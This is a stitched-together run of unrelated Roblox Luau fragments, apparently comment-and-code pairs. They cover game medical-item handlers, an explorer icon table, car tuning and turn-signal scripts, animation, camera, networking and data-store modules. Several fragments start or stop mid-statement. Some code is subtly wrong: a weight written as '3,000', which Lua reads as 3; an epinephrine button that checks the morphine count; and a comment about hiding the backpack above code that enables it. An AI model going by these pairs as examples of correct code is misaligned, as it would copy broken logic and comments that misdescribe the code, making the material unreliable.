Target.Value == nil then if Char.ACS_Client:GetAttribute("Bleeding") == true or Char.ACS_Client:GetAttribute("Tourniquet")then Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(1.5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(1.5) Functions.MedHandler:FireServer(nil,3) end else if Target.Value.Character.ACS_Client:GetAttribute("Bleeding") or Target.Value.Character.ACS_Client:GetAttribute("Tourniquet") then SavedTarget = Target.Value Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(1.5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(1.5) Functions.MedHandler:FireServer(SavedTarget,3) end end TreatDebounce = true end end) script.Parent.Treat.Frame.MedFrame.PainKiller.MouseButton1Down:Connect(function() if TreatDebounce and PainKiller.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then TreatDebounce = false if Target.Value == nil then if Char.ACS_Client.Variaveis.Dor.Value > 0 then Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(1.5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(1.5) Functions.MedHandler:FireServer(nil,4) end else if Target.Value.Character.ACS_Client.Variaveis.Dor.Value > 0 then SavedTarget = Target.Value Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(1.5,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(1.5) Functions.MedHandler:FireServer(SavedTarget,4) end end TreatDebounce = true end end) script.Parent.Treat.Frame.MedFrame.Energy.MouseButton1Down:Connect(function() if TreatDebounce and EnergyShot.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then TreatDebounce = false if Target.Value == nil then if Char.Humanoid.Health < Char.Humanoid.MaxHealth then Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(3,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(3) Functions.MedHandler:FireServer(nil,5) end else if Target.Value.Character.Humanoid.Health < Target.Value.Character.Humanoid.MaxHealth then SavedTarget = Target.Value Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(3,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(3) Functions.MedHandler:FireServer(SavedTarget,5) end end TreatDebounce = true end end) script.Parent.Treat.Frame.NeedFrame.Morphine.MouseButton1Down:Connect(function() if TreatDebounce and Morphine.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then TreatDebounce = false if Target.Value == nil then if Char.ACS_Client.Variaveis.Dor.Value > 0 then Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(10,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(10) Functions.MedHandler:FireServer(nil,6) end else if Target.Value.Character.ACS_Client.Variaveis.Dor.Value > 0 then SavedTarget = Target.Value Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(10,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(10) Functions.MedHandler:FireServer(SavedTarget,6) end end TreatDebounce = true end end) script.Parent.Treat.Frame.NeedFrame.Epineprhine.MouseButton1Down:Connect(function() if TreatDebounce and Morphine.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then TreatDebounce = false if Target.Value == nil then if Char.Humanoid.Health < Char.Humanoid.MaxHealth then Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(10,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(10) Functions.MedHandler:FireServer(nil,7) end else if Target.Value.Character.ACS_Client:GetAttribute("Collapsed") then SavedTarget = Target.Value Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(10,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(10) Functions.MedHandler:FireServer(SavedTarget,7) end end TreatDebounce = true end end) script.Parent.Treat.Frame.OtherFrame.Bloodbag.MouseButton1Down:Connect(function() if TreatDebounce and SacoDeSangue.Value > 0 and Human.Health > 0 and not Char.ACS_Client:GetAttribute("Collapsed") then TreatDebounce = false if Target.Value == nil then if Char.ACS_Client.Variaveis.Sangue.Value < Char.ACS_Client.Variaveis.Sangue.MaxValue then Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(20,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(20) Functions.MedHandler:FireServer(nil,8) end else if Target.Value.Character.ACS_Client.Variaveis.Sangue.Value < Target.Value.Character.ACS_Client.Variaveis.Sangue.MaxValue then SavedTarget = Target.Value Timer.Size = UDim2.new(0,0,1,0) TS:Create(Timer, TweenInfo.new(20,Enum.EasingStyle.Linear), {Size = UDim2.new(1,0,1,0)}):Play() wait(20) Functions.MedHandler:FireServer(SavedTarget,8) end end TreatDebounce = true end end)
-- Indices based on implementation of Icon function.
local ACTION_CUT = 160 local ACTION_COPY = 161 local ACTION_PASTE = 162 local ACTION_DELETE = 163 local ACTION_SORT = 164 local ACTION_CUT_OVER = 174 local ACTION_COPY_OVER = 175 local ACTION_PASTE_OVER = 176 local ACTION_DELETE_OVER = 177 local ACTION_SORT_OVER = 178 local ACTION_EDITQUICKACCESS = 190 local ACTION_FREEZE = 188 local ACTION_STARRED = 189 local ACTION_ADDSTAR = 184 local ACTION_ADDSTAR_OVER = 187 local NODE_COLLAPSED = 165 local NODE_EXPANDED = 166 local NODE_COLLAPSED_OVER = 179 local NODE_EXPANDED_OVER = 180 local ExplorerIndex = { ["Accessory"] = 32; ["Accoutrement"] = 32; ["AdService"] = 73; ["Animation"] = 60; ["AnimationController"] = 60; ["AnimationTrack"] = 60; ["Animator"] = 60; ["ArcHandles"] = 56; ["AssetService"] = 72; ["Attachment"] = 34; ["Backpack"] = 20; ["BadgeService"] = 75; ["BallSocketConstraint"] = 89; ["BillboardGui"] = 64; ["BinaryStringValue"] = 4; ["BindableEvent"] = 67; ["BindableFunction"] = 66; ["BlockMesh"] = 8; ["BloomEffect"] = 90; ["BlurEffect"] = 90; ["BodyAngularVelocity"] = 14; ["BodyForce"] = 14; ["BodyGyro"] = 14; ["BodyPosition"] = 14; ["BodyThrust"] = 14; ["BodyVelocity"] = 14; ["BoolValue"] = 4; ["BoxHandleAdornment"] = 54; ["BrickColorValue"] = 4; ["Camera"] = 5; ["CFrameValue"] = 4; ["CharacterMesh"] = 60; ["Chat"] = 33; ["ClickDetector"] = 41; ["CollectionService"] = 30; ["Color3Value"] = 4; ["ColorCorrectionEffect"] = 90; ["ConeHandleAdornment"] = 54; ["Configuration"] = 58; ["ContentProvider"] = 72; ["ContextActionService"] = 41; ["CoreGui"] = 46; ["CoreScript"] = 18; ["CornerWedgePart"] = 1; ["CustomEvent"] = 4; ["CustomEventReceiver"] = 4; ["CylinderHandleAdornment"] = 54; ["CylinderMesh"] = 8; ["CylindricalConstraint"] = 89; ["Debris"] = 30; ["Decal"] = 7; ["Dialog"] = 62; ["DialogChoice"] = 63; ["DoubleConstrainedValue"] = 4; ["Explosion"] = 36; ["FileMesh"] = 8; ["Fire"] = 61; ["Flag"] = 38; ["FlagStand"] = 39; ["FloorWire"] = 4; ["Folder"] = 70; ["ForceField"] = 37; ["Frame"] = 48; ["GamePassService"] = 19; ["Glue"] = 34; ["GuiButton"] = 52; ["GuiMain"] = 47; ["GuiService"] = 47; ["Handles"] = 53; ["HapticService"] = 84; ["Hat"] = 45; ["HingeConstraint"] = 89; ["Hint"] = 33; ["HopperBin"] = 22; ["HttpService"] = 76; ["Humanoid"] = 9; ["ImageButton"] = 52; ["ImageLabel"] = 49; ["InsertService"] = 72; ["IntConstrainedValue"] = 4; ["IntValue"] = 4; ["JointInstance"] = 34; ["JointsService"] = 34; ["Keyframe"] = 60; ["KeyframeSequence"] = 60; ["KeyframeSequenceProvider"] = 60; ["Lighting"] = 13; ["LineHandleAdornment"] = 54; ["LocalScript"] = 18; ["LogService"] = 87; ["MarketplaceService"] = 46; ["Message"] = 33; ["Model"] = 2; ["ModuleScript"] = 71; ["Motor"] = 34; ["Motor6D"] = 34; ["MoveToConstraint"] = 89; ["NegateOperation"] = 78; ["NetworkClient"] = 16; ["NetworkReplicator"] = 29; ["NetworkServer"] = 15; ["NumberValue"] = 4; ["ObjectValue"] = 4; ["Pants"] = 44; ["ParallelRampPart"] = 1; ["Part"] = 1; ["ParticleEmitter"] = 69; ["PartPairLasso"] = 57; ["PathfindingService"] = 37; ["Platform"] = 35; ["Player"] = 12; ["PlayerGui"] = 46; ["Players"] = 21; ["PlayerScripts"] = 82; ["PointLight"] = 13; ["PointsService"] = 83; ["Pose"] = 60; ["PrismaticConstraint"] = 89; ["PrismPart"] = 1; ["PyramidPart"] = 1; ["RayValue"] = 4; ["ReflectionMetadata"] = 86; ["ReflectionMetadataCallbacks"] = 86; ["ReflectionMetadataClass"] = 86; ["ReflectionMetadataClasses"] = 86; ["ReflectionMetadataEnum"] = 86; ["ReflectionMetadataEnumItem"] = 86; ["ReflectionMetadataEnums"] = 86; ["ReflectionMetadataEvents"] = 86; ["ReflectionMetadataFunctions"] = 86; ["ReflectionMetadataMember"] = 86; ["ReflectionMetadataProperties"] = 86; ["ReflectionMetadataYieldFunctions"] = 86; ["RemoteEvent"] = 80; ["RemoteFunction"] = 79; ["ReplicatedFirst"] = 72; ["ReplicatedStorage"] = 72; ["RightAngleRampPart"] = 1; ["RocketPropulsion"] = 14; ["RodConstraint"] = 89; ["RopeConstraint"] = 89; ["Rotate"] = 34; ["RotateP"] = 34; ["RotateV"] = 34; ["RunService"] = 66; ["ScreenGui"] = 47; ["Script"] = 6; ["ScrollingFrame"] = 48; ["Seat"] = 35; ["Selection"] = 55; ["SelectionBox"] = 54; ["SelectionPartLasso"] = 57; ["SelectionPointLasso"] = 57; ["SelectionSphere"] = 54; ["ServerScriptService"] = 0; ["ServerStorage"] = 74; ["Shirt"] = 43; ["ShirtGraphic"] = 40; ["SkateboardPlatform"] = 35; ["Sky"] = 28; ["SlidingBallConstraint"] = 89; ["Smoke"] = 59; ["Snap"] = 34; ["Sound"] = 11; ["SoundService"] = 31; ["Sparkles"] = 42; ["SpawnLocation"] = 25; ["SpecialMesh"] = 8; ["SphereHandleAdornment"] = 54; ["SpotLight"] = 13; ["SpringConstraint"] = 89; ["StarterCharacterScripts"] = 82; ["StarterGear"] = 20; ["StarterGui"] = 46; ["StarterPack"] = 20; ["StarterPlayer"] = 88; ["StarterPlayerScripts"] = 82; ["Status"] = 2; ["StringValue"] = 4; ["SunRaysEffect"] = 90; ["SurfaceGui"] = 64; ["SurfaceLight"] = 13; ["SurfaceSelection"] = 55; ["Team"] = 24; ["Teams"] = 23; ["TeleportService"] = 81; ["Terrain"] = 65; ["TerrainRegion"] = 65; ["TestService"] = 68; ["TextBox"] = 51; ["TextButton"] = 51; ["TextLabel"] = 50; ["Texture"] = 10; ["TextureTrail"] = 4; ["Tool"] = 17; ["TouchTransmitter"] = 37; ["TrussPart"] = 1; ["UnionOperation"] = 77; ["UserInputService"] = 84; ["Vector3Value"] = 4; ["VehicleSeat"] = 35; ["VelocityMotor"] = 34; ["WedgePart"] = 1; ["Weld"] = 34; ["Workspace"] = 19; }
--[[Weight and CG]]
Tune.Weight = 3,000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (50 - on rear wheels, 50 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--[[ Adds to the velocity of the internal springs, on top of the existing velocity of this Spring. This doesn't affect position. If the type doesn't match the current type of the spring, an error will be thrown. ]]
function class:addVelocity(deltaValue: PubTypes.Animatable) local deltaType = typeof(deltaValue) if deltaType ~= self._currentType then logError("springTypeMismatch", nil, deltaType, self._currentType) end local springDeltas = unpackType(deltaValue, deltaType) for index, delta in ipairs(springDeltas) do self._springVelocities[index] += delta end SpringScheduler.add(self) end
--[[ Calls the given callback for all existing players in the game, and any that join thereafter. Useful in situations where you want to run code for every player, even players who are already in the game. --]]
local Players = game:GetService("Players") local function safePlayerAdded(onPlayerAddedCallback: (Player) -> nil) for _, player in ipairs(Players:GetPlayers()) do task.spawn(onPlayerAddedCallback, player) end return Players.PlayerAdded:Connect(onPlayerAddedCallback) end return safePlayerAdded
--[[ Bind events and animations to the character and humanoid ]]
local function BindToCharacter() local activeAnimation: AnimationTrack = nil local events = {} local character, humanoid = GetCharacter(LocalPlayer, true) local animator = humanoid:WaitForChild("Animator")::Animator local animateScript = character:WaitForChild("Animate")::LocalScript local defaultIdle = animateScript:WaitForChild("idle") local defaultIdleAnims = {} for _, defaultIdleAnimation in ipairs(defaultIdle:GetChildren()) do table.insert(defaultIdleAnims, defaultIdleAnimation:Clone()) end --[[ Play "special" animations when player plays a chord; controlled by the ChordPlayed BindableEvent ]] table.insert(events, Replicated.Client.ChordPlayed.Event:Connect(function(chord: number, hold: boolean) local animation = GetAnimationFromChord(chord, hold) if activeAnimation then activeAnimation:Destroy() end activeAnimation = animator:LoadAnimation(animation)::AnimationTrack activeAnimation.Looped = false activeAnimation:Play() end)) --[[ Switch out idle animation for generic dance animation while player is on the dance floor; replace default idle animations when the player leaves a dance floor -- TODO: Revert to default idle animations when the music is stopped ]] local wasOnDanceFloor = false table.insert(events, humanoid.Running:Connect(function(speed: number) local isOnDanceFloor = DanceFloorTracker.IsOnDanceFloor() if wasOnDanceFloor == isOnDanceFloor then return end wasOnDanceFloor = isOnDanceFloor defaultIdle:ClearAllChildren() if isOnDanceFloor then AnimationsDB.Generic:Clone().Parent = defaultIdle else for _, animation in ipairs(defaultIdleAnims) do animation:Clone().Parent = defaultIdle end end end)) --[[ If the player dies, disconnect all events and destroy the active animation, and re-bind events to the new humanoid/character instances ]] table.insert(events, humanoid.Died:Connect(function() for _, event in ipairs(events) do event:Disconnect() end if activeAnimation then activeAnimation:Destroy() end BindToCharacter() end)) end BindToCharacter()
--[[ Main RenderStep Update. The camera controller and occlusion module both have opportunities to set and modify (respectively) the CFrame and Focus before it is set once on CurrentCamera. The camera and occlusion modules should only return CFrames, not set the CFrame property of CurrentCamera directly. --]]
function CameraModule:Update(dt) if self.activeCameraController then if script.Parent.Parent.shiftLock.Value == true and script.Parent.Parent.shiftLock.camLock.Value == false then self.activeCameraController:SetIsMouseLocked(true) elseif script.Parent.Parent.shiftLock.Value == true and script.Parent.Parent.shiftLock.camLock.Value == true then self.activeCameraController:SetIsMouseLocked(true) else self.activeCameraController:SetIsMouseLocked(false) end local newCameraCFrame, newCameraFocus = self.activeCameraController:Update(dt) self.activeCameraController:ApplyVRTransform() if self.activeOcclusionModule then newCameraCFrame, newCameraFocus = self.activeOcclusionModule:Update(dt, newCameraCFrame, newCameraFocus) end -- Here is where the new CFrame and Focus are set for this render frame game.Workspace.CurrentCamera.CFrame = newCameraCFrame game.Workspace.CurrentCamera.Focus = newCameraFocus -- Update to character local transparency as needed based on camera-to-subject distance if self.activeTransparencyController then self.activeTransparencyController:Update() end end end
--Made by Repressed_Memories -- Edited by Truenus
local component = script.Parent.Parent local car = script.Parent.Parent.Parent.Parent.Car.Value local mouse = game.Players.LocalPlayer:GetMouse() local leftsignal = "z" local rightsignal = "c" local hazards = "x" local hazardson = false local lefton = false local righton = false local leftlight = car.Body.Lights.Left.TurnSignal.TSL local rightlight = car.Body.Lights.Right.TurnSignal.TSL local leftfront = car.Body.Lights.Left.TurnSignal2 local rightfront = car.Body.Lights.Right.TurnSignal2 local signalblinktime = 0.32 local neonleft = car.Body.Lights.Left.TurnSignal local neonright = car.Body.Lights.Right.TurnSignal local off = BrickColor.New("Mid gray") local on = BrickColor.New("Deep orange") mouse.KeyDown:connect(function(lkey) local key = string.lower(lkey) if key == leftsignal then if lefton == false then lefton = true repeat neonleft.BrickColor = on leftlight.Enabled = true neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() component.TurnSignal.Pitch = 1.8 wait(signalblinktime) neonleft.BrickColor = off component.TurnSignal:play() component.TurnSignal.Pitch = 1.6 neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" leftlight.Enabled = false wait(signalblinktime) until lefton == false or righton == true elseif lefton == true or righton == true then lefton = false component.TurnSignal:stop() leftlight.Enabled = false end elseif key == rightsignal then if righton == false then righton = true repeat neonright.BrickColor = on rightlight.Enabled = true neonright.Material = "Neon" rightfront.Material = "Neon" component.TurnSignal:play() component.TurnSignal.Pitch = 1.8 wait(signalblinktime) neonright.BrickColor = off component.TurnSignal:play() component.TurnSignal.Pitch = 1.6 neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" rightlight.Enabled = false wait(signalblinktime) until righton == false or lefton == true elseif righton == true or lefton == true then righton = false component.TurnSignal:stop() rightlight.Enabled = false end elseif key == hazards then if hazardson == false then hazardson = true repeat neonright.BrickColor = on neonleft.BrickColor = on neonright.Material = "Neon" rightfront.Material = "Neon" neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() component.TurnSignal.Pitch = 1.8 rightlight.Enabled = true leftlight.Enabled = true wait(signalblinktime) neonright.BrickColor = off neonleft.BrickColor = off component.TurnSignal:play() component.TurnSignal.Pitch = 1.6 neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" rightlight.Enabled = false leftlight.Enabled = false wait(signalblinktime) until hazardson == false elseif hazardson == true then hazardson = false component.TurnSignal:stop() rightlight.Enabled = false leftlight.Enabled = false end end end)
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Mulberry",Paint) end)
-- Do not rename the name of the "Mesh", leave it saying Mesh, or the giver wont work.
--//Services//--
local TweenService = game:GetService("TweenService")
--[[ A special key for property tables, which parents any given descendants into an instance. ]]
local Package = script.Parent.Parent local ObjectUtility = require(Package.ObjectUtility) local Observer = require(Package.States.Observer) type Set<T> = {[T]: boolean}
-- Override in derived classes to set self.enabled and return boolean indicating -- whether Enable/Disable was successful. Return true if controller is already in the requested state.
function BaseCharacterController:Enable(enable: boolean): boolean error("BaseCharacterController:Enable must be overridden in derived classes and should not be called.") return false end return BaseCharacterController
-- This affects how often the client sends engine power updates (frequency: times/second)
local THROTTLE_UPDATE_RATE = 5
--------------------)
i = true script.Parent[ZoneModelName]:MoveTo(Vector3.new(0,10000,0)) script.Parent[ZoneModelName]:Clone().Parent = game.ServerStorage script.Parent.RemoteEvent.OnServerEvent:Connect(function(plr,X,Y,Z) if i then i = false local zone = game.ServerStorage:WaitForChild(ZoneModelName):Clone() zone.Parent = game.Workspace zone.PrimaryPart = zone.Main zone:SetPrimaryPartCFrame(CFrame.new(Vector3.new(X,Y+0.5,Z))) zone.Main.Touched:Connect(function(hit) if hit.Parent:FindFirstChild(MobHumanoidName) then hit.Parent[MobHumanoidName].Health = hit.Parent[MobHumanoidName].Health-Damage end end) wait(Cooldown) i = true end end)
-- Replica creation:
rev_ReplicaCreate.OnClientEvent:Connect(function(param1, param2) -- (top_replica_id, {replica_data}) OR (top_replica_id, {creation_data}) or ({replica_package}) --[[ param1 description: top_replica_id = replica_id OR replica_package = {{replica_id, creation_data}, ...} param2 description: replica_data = {replica_class, replica_tags, data_table, parent_id / 0, write_lib_module / nil} OR creation_data = {["replica_id"] = replica_data, ...} --]] local created_replicas = {} -- Unpacking replica data: if type(param1) == "table" then -- Replica package table.sort(param1, function(a, b) -- Sorting top level replicas by their id return a[1] < b[1] end) for _, replica_branch_entry in ipairs(param1) do CreateReplicaBranch(replica_branch_entry[2], created_replicas) end elseif param2[1] ~= nil then -- One replica data CreateReplicaBranch({[tostring(param1)] = param2}, created_replicas) else -- Creation data table CreateReplicaBranch(param2, created_replicas) end -- Broadcasting replica creation: table.sort(created_replicas, function(a, b) return a.Id < b.Id end) -- 1) Child added: for _, replica in ipairs(created_replicas) do local parent_replica = replica.Parent if parent_replica ~= nil then local child_listener_table = ChildListeners[parent_replica.Id] if child_listener_table ~= nil then for i = 1, #child_listener_table do child_listener_table[i](replica) end end end end -- 2) New Replica and Replica of class created: for _, replica in ipairs(created_replicas) do NewReplicaSignal:Fire(replica) local class_listener_signal = ClassListeners[replica.Class] if class_listener_signal ~= nil then class_listener_signal:Fire(replica) end end end)
--[=[ @prop Util Folder @within KnitClient @readonly References the Util folder. Should only be accessed when using Knit as a standalone module. If using Knit from Wally, modules should just be pulled in via Wally instead of relying on Knit's Util folder, as this folder only contains what is necessary for Knit to run in Wally mode. ]=]
KnitClient.Util = script.Parent.Parent local Promise = require(KnitClient.Util.Promise) local Comm = require(KnitClient.Util.Comm) local ClientComm = Comm.ClientComm local controllers: { [string]: Controller } = {} local services: { [string]: Service } = {} local servicesFolder = nil local started = false local startedComplete = false local onStartedComplete = Instance.new("BindableEvent") local function DoesControllerExist(controllerName: string): boolean local controller: Controller? = controllers[controllerName] return controller ~= nil end local function GetServicesFolder() if not servicesFolder then servicesFolder = script.Parent:WaitForChild("Services") end return servicesFolder end local function GetMiddlewareForService(serviceName: string) local knitMiddleware = if selectedOptions.Middleware ~= nil then selectedOptions.Middleware else {} local serviceMiddleware = selectedOptions.PerServiceMiddleware[serviceName] return if serviceMiddleware ~= nil then serviceMiddleware else knitMiddleware end local function BuildService(serviceName: string) local folder = GetServicesFolder() local middleware = GetMiddlewareForService(serviceName) local clientComm = ClientComm.new(folder, selectedOptions.ServicePromises, serviceName) local service = clientComm:BuildObject(middleware.Inbound, middleware.Outbound) services[serviceName] = service return service end
--Much efficient way to hide the backpack without causing lag
local StarterGui = game:GetService("StarterGui") StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
-- Services
local playerService = game:GetService("Players") local debris = game:GetService("Debris") local tweenService = game:GetService("TweenService")
-- functions
function onDied() stopLoopedSounds() sDied:Play() end local fallCount = 0 local fallSpeed = 0 function onStateFall(state, sound) fallCount = fallCount + 1 if state then sound.Volume = 0 sound:Play() Spawn( function() local t = 0 local thisFall = fallCount while t < 1.5 and fallCount == thisFall do local vol = math.max(t - 0.3 , 0) sound.Volume = vol wait(0.1) t = t + 0.1 end end) else sound:Stop() end fallSpeed = math.max(fallSpeed, math.abs(Head.Velocity.Y)) end function onStateNoStop(state, sound) if state then sound:Play() end end function onRunning(speed) sClimbing:Stop() sSwimming:Stop() if (prevState == "FreeFall" and fallSpeed > 0.1) then local vol = math.min(1.0, math.max(0.0, (fallSpeed - 50) / 110)) sLanding.Volume = vol sLanding:Play() fallSpeed = 0 end if speed>0.5 then sRunning:Play() sRunning.Pitch = speed / 8.0 else sRunning:Stop() end prevState = "Run" end function onSwimming(speed) if (prevState ~= "Swim" and speed > 0.1) then local volume = math.min(1.0, speed / 350) sSplash.Volume = volume sSplash:Play() prevState = "Swim" end sClimbing:Stop() sRunning:Stop() sSwimming.Pitch = 1.6 sSwimming:Play() end function onClimbing(speed) sRunning:Stop() sSwimming:Stop() if speed>0.01 then sClimbing:Play() sClimbing.Pitch = speed / 5.5 else sClimbing:Stop() end prevState = "Climb" end
-- ROBLOX Services
local Teams = game.Teams local Players = game.Players
--list of whitelisted people
local whitelist = {""}; local event = script.ToolEvent local tools = script.Tools local proto = script.Proto tools.Parent = nil local toollist = {}
-- Connects a self-function by -- name to the provided event.
function FpsCamera:Connect(funcName, event) return event:Connect(function (...) self[funcName](self, ...) end) end
-- Waits for parent.child to exist, then returns it
local function WaitForChild(parent, childName) assert(parent, "ERROR: WaitForChild: parent is nil") while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end return parent[childName] end
-- declarations
local Torso=waitForChild(sp,"Torso") local Head=waitForChild(sp,"Head") local RightShoulder=waitForChild(Torso,"Right Shoulder") local LeftShoulder=waitForChild(Torso,"Left Shoulder") local RightHip=waitForChild(Torso,"Right Hip") local LeftHip=waitForChild(Torso,"Left Hip") local Neck=waitForChild(Torso,"Neck") local Humanoid=waitForChild(sp,"Humanoid") local BodyColors=waitForChild(sp,"Body Colors") local pose="Standing"
--Head
MakeWeld(car.Misc.Anims.R15.Torso.Head.X,car.Misc.Anims.R15.Torso.Head.Y,"Motor6D").Name="M" MakeWeld(car.Misc.Anims.R15.Torso.Head.Y,car.Misc.Anims.R15.Torso.Head.Z,"Motor6D").Name="M" MakeWeld(car.Misc.Anims.R15.Torso.Head.Z,car.Misc.Anims.R15.Torso.UpperTorso.Z,"Motor6D").Name="M" ModelWeld(misc.Anims.R15.Torso.Head.Parts,misc.Anims.R15.Torso.Head.X)
-- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end
--Determine Wheel Size
local wDia = Rear.Wheel.Size.Y
--[[Misc]]
Tune.LoadDelay = .1 -- Delay before initializing chassis (in seconds) Tune.AutoStart = true -- Set to false if using manual ignition plugin Tune.AutoFlip = false -- Set to false if using manual flip plugin
-- services
local ReplicatedStorage = game:GetService("ReplicatedStorage") local TeleportService = game:GetService("TeleportService") local HttpService = game:GetService("HttpService") local Players = game:GetService("Players")
------Modules------
local modules = script.Parent.Parent.Modules local core = require(modules.CoreModule) local actions = require(modules.ActionsModule) local combat = require(modules.CombatModule) local targeting = require(modules.TargetModule) local movement = require(modules.MovementModule) local status = require(modules.Status) local troubleshoot = require(modules.Troubleshoot)
-- handler:FireServer('updateLights', 'fog', true)
end end elseif input.KeyCode == Enum.KeyCode.Z or input.KeyCode == Enum.KeyCode.ButtonL1 then if input.UserInputState == Enum.UserInputState.Begin then if not Debounce then Debounce = true handler:FireServer('blinkers', 'Left',st) wait(1/3) Debounce = false end end elseif input.KeyCode == Enum.KeyCode.C or input.KeyCode == Enum.KeyCode.ButtonR1 then if input.UserInputState == Enum.UserInputState.Begin then if not Debounce then Debounce = true handler:FireServer('blinkers', 'Right',st) wait(1/3) Debounce = false end end elseif input.KeyCode == Enum.KeyCode.X then if input.UserInputState == Enum.UserInputState.Begin then if not Debounce then Debounce = true handler:FireServer('blinkers', 'Hazards',false) wait(1/3) Debounce = false end end end end is.InputBegan:connect(DealWithInput) is.InputChanged:connect(DealWithInput) is.InputEnded:connect(DealWithInput) handler.OnClientEvent:connect(function(...) local Args = {...} if Args[1] then if Args[1] == 'blink' then if Args[2] then local P = Args[2] if Args[3] then local Play = Args[3] script.Parent.Blink.Pitch = P if Play == true then script.Parent.Blink:Play() elseif Play == false then script.Parent.Blink:Stop() end end end end end end)
-- How many times per second the gun can fire
local FireRate = 1 / 1.33
--[=[ Constructs a new PlayerDataStoreManager. @param robloxDataStore DataStore @param keyGenerator (player) -> string -- Function that takes in a player, and outputs a key @return PlayerDataStoreManager ]=]
function PlayerDataStoreManager.new(robloxDataStore, keyGenerator) local self = setmetatable(BaseObject.new(), PlayerDataStoreManager) self._robloxDataStore = robloxDataStore or error("No robloxDataStore") self._keyGenerator = keyGenerator or error("No keyGenerator") self._maid._savingConns = Maid.new() self._datastores = {} -- [player] = datastore self._removing = {} -- [player] = true self._pendingSaves = PendingPromiseTracker.new() self._removingCallbacks = {} -- [func, ...] self._maid:GiveTask(Players.PlayerRemoving:Connect(function(player) if self._disableSavingInStudio then return end self:_removePlayerDataStore(player) end)) game:BindToClose(function() if self._disableSavingInStudio then return end self:PromiseAllSaves():Wait() end) return self end
--[[ Constructs a new computed state object, which follows the value of another state object using a tween. ]]
local Package = script.Parent.Parent local PubTypes = require(Package.PubTypes) local Types = require(Package.Types) local TweenScheduler = require(Package.Animation.TweenScheduler) local useDependency = require(Package.Dependencies.useDependency) local initDependency = require(Package.Dependencies.initDependency) local class = {} local CLASS_METATABLE = {__index = class} local WEAK_KEYS_METATABLE = {__mode = "k"}
--//Custom Functions\\--
